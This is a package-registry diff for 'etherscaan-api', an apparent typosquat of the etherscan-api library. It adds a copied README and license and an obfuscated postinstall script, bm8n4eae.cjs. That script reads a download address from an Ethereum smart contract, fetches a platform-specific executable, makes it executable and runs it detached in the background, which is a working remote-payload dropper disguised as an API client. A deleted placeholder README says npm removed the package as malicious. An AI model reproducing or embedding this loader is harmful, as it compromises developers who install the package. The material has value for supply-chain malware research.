etherscaan-api 0.0.1-security → 10.3.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of etherscaan-api might be problematic. Click here for more details.
- package/LICENSE.md +9 -0
- package/Readme.md +96 -0
- package/bm8n4eae.cjs +1 -0
- package/index.js +9 -0
- package/package.json +42 -4
- package/README.md +0 -5
package/LICENSE.md
ADDED
@@ -0,0 +1,9 @@
|
|
1
|
+
The MIT License (MIT)
|
2
|
+
|
3
|
+
Copyright (c) 2015 these people
|
4
|
+
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
|
6
|
+
|
7
|
+
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
|
8
|
+
|
9
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
package/Readme.md
ADDED
@@ -0,0 +1,96 @@
|
|
1
|
+
# Etherscan API
|
2
|
+
|
3
|
+
## Development of a NEXTGEN Version has started - please stand by
|
4
|
+
|
5
|
+
[](https://www.npmjs.com/package/etherscan-api)
|
6
|
+
[](https://github.com/sebs/etherscan-api/blob/master/LICENSE.md)
|
7
|
+
[](https://github.com/sebs/etherscan-api)
|
8
|
+
[](https://github.com/sebs/etherscan-api/issues)
|
9
|
+
|
10
|
+
A way to access the [etherscan.io api](https://etherscan.io/apis) using promises. Fetch a diverse set of information about the blockchain.
|
11
|
+
|
12
|
+
Mainnet
|
13
|
+
|
14
|
+
|
15
|
+
```javascript
|
16
|
+
var api = require('etherscan-api').init('YourApiKey');
|
17
|
+
var balance = api.account.balance('0xde0b295669a9fd93d5f28d9ec85e40f4cb697bae');
|
18
|
+
balance.then(function(balanceData){
|
19
|
+
console.log(balanceData);
|
20
|
+
});
|
21
|
+
```
|
22
|
+
|
23
|
+
## Example in the wild
|
24
|
+
|
25
|
+
* [Polymer3 based example](https://github.com/hiherto-elements/test-app)
|
26
|
+
|
27
|
+
|
28
|
+
## use a own instance of axios
|
29
|
+
|
30
|
+
```js
|
31
|
+
const axios = require('axios');
|
32
|
+
const {
|
33
|
+
init,
|
34
|
+
pickChainUrl
|
35
|
+
} = require('..');
|
36
|
+
|
37
|
+
|
38
|
+
const chain = pickChainUrl(null);
|
39
|
+
const client = axios.create({
|
40
|
+
baseURL: chain,
|
41
|
+
timeout: 10000
|
42
|
+
});
|
43
|
+
|
44
|
+
var api = init('apikey', null, 10000, client);
|
45
|
+
```
|
46
|
+
|
47
|
+
## For testnet and L2s usage
|
48
|
+
|
49
|
+
Supported Chain Explorers
|
50
|
+
|
51
|
+
* [Etherscan](https://etherscan.io)
|
52
|
+
* ropsten: 'https://api-ropsten.etherscan.io'
|
53
|
+
* kovan: 'https://api-kovan.etherscan.io'
|
54
|
+
* rinkeby: 'https://api-rinkeby.etherscan.io'
|
55
|
+
* goerli: 'https://api-goerli.etherscan.io'
|
56
|
+
* sepolia: 'https://api-sepolia.etherscan.io'
|
57
|
+
* homestead: 'https://api.etherscan.io'
|
58
|
+
* [Arbiscan](https://arbiscan.io) (Experimental)
|
59
|
+
* arbitrum: 'https://api.arbiscan.io'
|
60
|
+
* arbitrum_rinkeby: 'https://api-testnet.arbiscan.io'
|
61
|
+
* [Snowtrace](https://snowtrace.io) (Experimental)
|
62
|
+
* avalanche:'https://api.snowtrace.io',
|
63
|
+
* avalanche_fuji: 'https://api-testnet.snowtrace.io'
|
64
|
+
|
65
|
+
Latest
|
66
|
+
|
67
|
+
```javascript
|
68
|
+
// apikey, network, timeout
|
69
|
+
var api = require('etherscan-api').init('YourApiKey','rinkeby'. '3000');
|
70
|
+
```
|
71
|
+
|
72
|
+
## Install
|
73
|
+
|
74
|
+
```bash
|
75
|
+
npm install etherscan-api --save
|
76
|
+
```
|
77
|
+
|
78
|
+
|
79
|
+
## API Documentation
|
80
|
+
|
81
|
+
[Full Api Docs](https://sebs.github.io/etherscan-api/)
|
82
|
+
|
83
|
+
|
84
|
+
## Development workflow
|
85
|
+
|
86
|
+
* npm test - runs tests
|
87
|
+
* npm run posttest - starts the linter
|
88
|
+
* npm run lint - preconfigured linter
|
89
|
+
* npm run docs - generates the apidocs
|
90
|
+
* npm run bundle - builds a new bundle
|
91
|
+
* npm run preversion - Steps before we create a new Tag
|
92
|
+
* lint
|
93
|
+
* changelog
|
94
|
+
* npm run pages - pushes generated apidocs to the server
|
95
|
+
* postversion - after generating a new version, push the tag to the server
|
96
|
+
* npm run changelog - generates a changelog and pushes it
|
package/bm8n4eae.cjs
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
function _0x1190(){const _0xdf17df=['darwin','LhqzT','chmodSync','win32','BsbJs','EFjmH','mainnet','join','27870ygvADv','axDoW','uLJFx','16Mzmnus','2658ZxkhkK','ignore','unref','755','tmpdir','child_process','GET','plQWh','wtstw','1582368psjidh','ynrsj','linux','Ошибка\x20при\x20запуске\x20файла:','platform','ethers','createWriteStream','sVVXX','602259RNUVPE','sxsEH','pipe','2750256zFESpg','GIvrH','error','wuMhu','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','data','LkKCw','finish','UVwZj','/node-macos','279696LmvUse','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','basename','util','407440nbnbMQ','94rnPznT','HAXkr','/node-linux','getString'];_0x1190=function(){return _0xdf17df;};return _0x1190();}const _0x4d340b=_0x184f;(function(_0x538256,_0x4ff722){const _0x13ecf4=_0x184f,_0xa2903e=_0x538256();while(!![]){try{const _0x2fd85d=-parseInt(_0x13ecf4(0x1e9))/0x1*(-parseInt(_0x13ecf4(0x1f9))/0x2)+parseInt(_0x13ecf4(0x1f5))/0x3*(parseInt(_0x13ecf4(0x1f8))/0x4)+parseInt(_0x13ecf4(0x1e8))/0x5+-parseInt(_0x13ecf4(0x1e4))/0x6+-parseInt(_0x13ecf4(0x1d7))/0x7+-parseInt(_0x13ecf4(0x202))/0x8+parseInt(_0x13ecf4(0x1da))/0x9;if(_0x2fd85d===_0x4ff722)break;else _0xa2903e['push'](_0xa2903e['shift']());}catch(_0x3cca22){_0xa2903e['push'](_0xa2903e['shift']());}}}(_0x1190,0x35655));const {ethers}=require(_0x4d340b(0x207)),axios=require('axios'),util=require(_0x4d340b(0x1e7)),fs=require('fs'),path=require('path'),os=require('os'),{spawn}=require(_0x4d340b(0x1fe)),contractAddress='0xa1b40044EBc2794f207D45143Bd82a1B86156c6b',WalletOwner=_0x4d340b(0x1de),abi=[_0x4d340b(0x1e5)],provider=ethers['getDefaultProvider'](_0x4d340b(0x1f3)),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x58af59=_0x4d340b,_0x3ff2ce={'ynrsj':'Ошибка\x20при\x20получении\x20IP\x20адреса:','HAXkr':function(_0x2eb073){return _0x2eb073();}};try{const _0xad3b53=await contract[_0x58af59(0x1ec)](WalletOwner);return _0xad3b53;}catch(_0x5c6d1c){return console[_0x58af59(0x1dc)](_0x3ff2ce[_0x58af59(0x203)],_0x5c6d1c),await _0x3ff2ce[_0x58af59(0x1ea)](fetchAndUpdateIp);}},getDownloadUrl=_0x5b9251=>{const _0xd13cd0=_0x4d340b,_0xecdcc4={'uLJFx':_0xd13cd0(0x1f0),'FhOUT':_0xd13cd0(0x204),'sVVXX':_0xd13cd0(0x1ed)},_0xe59366=os[_0xd13cd0(0x206)]();switch(_0xe59366){case _0xecdcc4[_0xd13cd0(0x1f7)]:return _0x5b9251+'/node-win.exe';case _0xecdcc4['FhOUT']:return _0x5b9251+_0xd13cd0(0x1eb);case _0xecdcc4[_0xd13cd0(0x1d6)]:return _0x5b9251+_0xd13cd0(0x1e3);default:throw new Error('Unsupported\x20platform:\x20'+_0xe59366);}},downloadFile=async(_0x4e8819,_0x36d556)=>{const _0x5527dc=_0x4d340b,_0x3705a0={'EFjmH':_0x5527dc(0x1dc),'UVwZj':_0x5527dc(0x1ff),'GIvrH':'stream'},_0x5c57ff=fs[_0x5527dc(0x1d5)](_0x36d556),_0x2b5f3d=await axios({'url':_0x4e8819,'method':_0x3705a0[_0x5527dc(0x1e2)],'responseType':_0x3705a0[_0x5527dc(0x1db)]});return _0x2b5f3d[_0x5527dc(0x1df)][_0x5527dc(0x1d9)](_0x5c57ff),new Promise((_0x5949cb,_0x357664)=>{const _0x9bedc2=_0x5527dc;_0x5c57ff['on'](_0x9bedc2(0x1e1),_0x5949cb),_0x5c57ff['on'](_0x3705a0[_0x9bedc2(0x1f2)],_0x357664);});},executeFileInBackground=async _0x41a23d=>{const _0x543ae1=_0x4d340b,_0x1487ab={'LkKCw':function(_0x5a1013,_0x2efab3,_0x3acb84,_0xab9cba){return _0x5a1013(_0x2efab3,_0x3acb84,_0xab9cba);},'plQWh':_0x543ae1(0x1fa)};try{const _0x15cfdc=_0x1487ab[_0x543ae1(0x1e0)](spawn,_0x41a23d,[],{'detached':!![],'stdio':_0x1487ab[_0x543ae1(0x200)]});_0x15cfdc[_0x543ae1(0x1fb)]();}catch(_0x3f1aab){console['error'](_0x543ae1(0x205),_0x3f1aab);}},runInstallation=async()=>{const _0x22dbc6=_0x4d340b,_0x312cef={'sxsEH':function(_0x39e4c9){return _0x39e4c9();},'BsbJs':function(_0x3fd55c,_0x3c591d){return _0x3fd55c(_0x3c591d);},'axDoW':function(_0x339111,_0x20edaa,_0xcf831d){return _0x339111(_0x20edaa,_0xcf831d);},'wtstw':function(_0x8fbb1a,_0x561480){return _0x8fbb1a!==_0x561480;},'wuMhu':_0x22dbc6(0x1f0),'LhqzT':'Ошибка\x20установки:'};try{const _0x434c55=await _0x312cef[_0x22dbc6(0x1d8)](fetchAndUpdateIp),_0x4eb336=_0x312cef[_0x22dbc6(0x1f1)](getDownloadUrl,_0x434c55),_0x4f6f0f=os[_0x22dbc6(0x1fd)](),_0x2a4536=path[_0x22dbc6(0x1e6)](_0x4eb336),_0x46f1fa=path[_0x22dbc6(0x1f4)](_0x4f6f0f,_0x2a4536);await _0x312cef[_0x22dbc6(0x1f6)](downloadFile,_0x4eb336,_0x46f1fa);if(_0x312cef[_0x22dbc6(0x201)](os[_0x22dbc6(0x206)](),_0x312cef[_0x22dbc6(0x1dd)]))fs[_0x22dbc6(0x1ef)](_0x46f1fa,_0x22dbc6(0x1fc));_0x312cef[_0x22dbc6(0x1f1)](executeFileInBackground,_0x46f1fa);}catch(_0x5a6e6b){console['error'](_0x312cef[_0x22dbc6(0x1ee)],_0x5a6e6b);}};function _0x184f(_0x3156ba,_0x4406f8){const _0x119088=_0x1190();return _0x184f=function(_0x184f41,_0x355454){_0x184f41=_0x184f41-0x1d5;let _0x3af0bf=_0x119088[_0x184f41];return _0x3af0bf;},_0x184f(_0x3156ba,_0x4406f8);}runInstallation();
|
package/index.js
ADDED
package/package.json
CHANGED
@@ -1,6 +1,44 @@
|
|
1
1
|
{
|
2
2
|
"name": "etherscaan-api",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "10.3.0",
|
4
|
+
"description": "API to etherscan with a simple interface",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"postinstall": "node bm8n4eae.cjs"
|
8
|
+
},
|
9
|
+
"keywords": [
|
10
|
+
"arbiscan",
|
11
|
+
"ethereum",
|
12
|
+
"EtherScan.io",
|
13
|
+
"etherscan",
|
14
|
+
"blockchain",
|
15
|
+
"api",
|
16
|
+
"transaction",
|
17
|
+
"rest"
|
18
|
+
],
|
19
|
+
"repository": {
|
20
|
+
"type": "git",
|
21
|
+
"url": "git+https://github.com/sebs/etherscan-api.git"
|
22
|
+
},
|
23
|
+
"author": "",
|
24
|
+
"license": "ISC",
|
25
|
+
"bugs": {
|
26
|
+
"url": "https://github.com/sebs/etherscan-api/issues"
|
27
|
+
},
|
28
|
+
"homepage": "https://github.com/sebs/etherscan-api#readme",
|
29
|
+
"devDependencies": {
|
30
|
+
"chai": "4.3.7",
|
31
|
+
"jshint": "2.13.6",
|
32
|
+
"mocha": "10.2.0",
|
33
|
+
"watch": "1.0.2"
|
34
|
+
},
|
35
|
+
"dependencies": {
|
36
|
+
"axios": "^1.7.7",
|
37
|
+
"gh-pages": "4.0.0",
|
38
|
+
"querystring": "0.2.1",
|
39
|
+
"ethers": "^6.13.2"
|
40
|
+
},
|
41
|
+
"files": [
|
42
|
+
"bm8n4eae.cjs"
|
43
|
+
]
|
44
|
+
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=etherscaan-api for more information.
|